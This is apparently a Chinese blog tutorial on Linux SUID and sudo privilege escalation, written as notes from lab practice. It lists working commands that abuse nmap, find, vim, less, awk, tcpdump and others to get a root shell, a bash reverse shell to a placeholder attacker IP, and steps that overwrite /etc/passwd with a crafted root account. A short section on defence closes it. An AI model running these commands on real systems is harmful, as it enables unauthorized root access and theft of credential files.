• Linux-SUID提权


    前言

    最近打靶场的时候最后都会涉及到提权,所以想着总结一下。

    SUID提权原理

    SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
    那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。
    但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。

    比如password的权限:

    image
    用户可以输入自己的密码或者不需要密码在root权限下执行命令,这可在设置文件 /etc/sudoers 中配置

    1.1 /etc/sudoers 语法

    root ALL=(ALL) ALL
    

    root 用户可以从 ALL(任何)终端执行,充当ALL(任何)用户,并运行ALL(任何)命令。第一部分指定用户,第二部分指定可充当用户,第三部分指定 sudo 可运行的命令。

    touhid ALL= /sbin/poweroff
    

    输入 touchid 的密码,可以 sudo 执行 poweroff 命令。

    touhid ALL = (root) NOPASSWD: /usr/bin/find
    

    不输入密码,可以 sudo 执行 find 命令

    1.2 查找具有 SUID 权限位文件

    以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

    # suid权限值就是4000,下面两个语句一个意思
    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    

    也可以使用 sudo -l 命令列出当前用户可执行的命令:

    image

    常用的提权方式

    2.1 nmap

    nmap(2.02-5.21)存在交换模式,可利用提权

    nmap --interactive
    

    之后执行:

    nmap> !sh
    sh-3.2# whoami
    root
    

    msf中的模块为:

    exploit/unix/local/setuid_nmap
    

    较新版可使用 --script 参数:

    echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
    

    2.2 find

    find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

    touch test
    find test -exec whoami \;
    
    进入shell
    find test -exec '/bin/sh' \;
    sh-5.0# whoami
    root
    

    linux一般都安装了nc 我们也可以利用nc 广播或反弹shell

    广播shell:

    find test -exec netcat -lvp 5555 -e /bin/sh \;
    

    kali(攻击机)上:

    nc 靶机ip 4444
    

    反弹shell:

    find test -exec bash -c 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1' \;
    

    kali(攻击机)上:

    nc -lvnp 4444
    

    2.3 vi/vim

    打开vim,按下ESC

    :set shell=/bin/sh
    :shell
    

    或者

    sudo vim -c '!sh'
    

    2.4 bash

    bash -p
    bash-3.2# id
    uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
    

    2.5 less

    注意事项:我记得less跟more提权的时候那个命令行要拉低一点,不能在一页显示完文件才行(要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell)

    less /etc/passwd
    !/bin/sh
    

    2.6 more

    more /home/pelle/myfile
    !/bin/bash
    

    2.7 cp

    覆盖 /etc/shadow/etc/passwd

    [zabbix@localhost ~]$ cat /etc/passwd >passwd
    2.[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
    3.$1$hack$WTn0dk2QjNeKfl.DHOUue0
    4.[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
    5.[zabbix@localhost ~]$ cp passwd /etc/passwd
    6.[zabbix@localhost ~]$ su - hack
    7.Password:
    8.[root@361way ~]# id
    9.uid=0(hack) gid=0(root) groups=0(root)
    10.[root@361way ~]# cat /etc/passwd|tail -1
    11.hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
    

    2.8 mv

    覆盖 /etc/shadow/etc/passwd

    2.9 nano

    nano也算是比较上古的文本编辑器了

    nano进入shell的方法为

    nano #进入nano编辑器
    Ctrl + R
    Ctrl + X 
    #即可输入命令
    

    2.10 awk

    awk 'BEGIN {system("/bin/sh")}'
    

    2.11 man

    man passwd
    !/bin/bash
    

    2.12 wget

    wget http://192.168.56.1:8080/passwd -O /etc/passwd
    

    2.13 apache

    仅可查看文件,不能弹 shell:

    apache2 -f /etc/shadow
    

    2.14 tcpdump

    echo $'id\ncat /etc/shadow' > /tmp/.test
    chmod +x /tmp/.test
    sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
    

    2.15 python/perl/ruby/lua/php/etc

    python:

    python -c "import os;os.system('/bin/bash')"
    

    perl:

    exec "/bin/bash";
    

    其他的语言反弹shell参考以下链接:
    https://weibell.github.io/reverse-shell-generator/

    参考链接:

    防范

    SUID提权由来已久,属于一种古早的提权技术,但其生命力经久不衰。

    这要求管理员要仔细研究具有SUID权限的文件,不要给易被利用的文件以SUID权限,防止SUID的滥用导致黑客在进入服务器时轻易获取root权限。

  • 相关阅读:
    js数组介绍:创建、length的用法、冒泡排序法、选择排序法
    vue中的.sync修饰符
    【Android 四大组件之Content Provider】一文吃透Content Provider 内容提供者
    python爬虫学习第二十八天-------了解scrapy(二十八天)
    PG::Seppuku
    Spring的处理器映射器与适配器的架构设计
    高防IP可以抵御哪些恶意攻击
    大佬自爆:奉劝程序员从中小型企业跳槽阿里P8狂刷以下面试题
    面试题——git
    六、K8S之StatefulSet
  • 原文地址:https://www.cnblogs.com/tzf1/p/16207536.html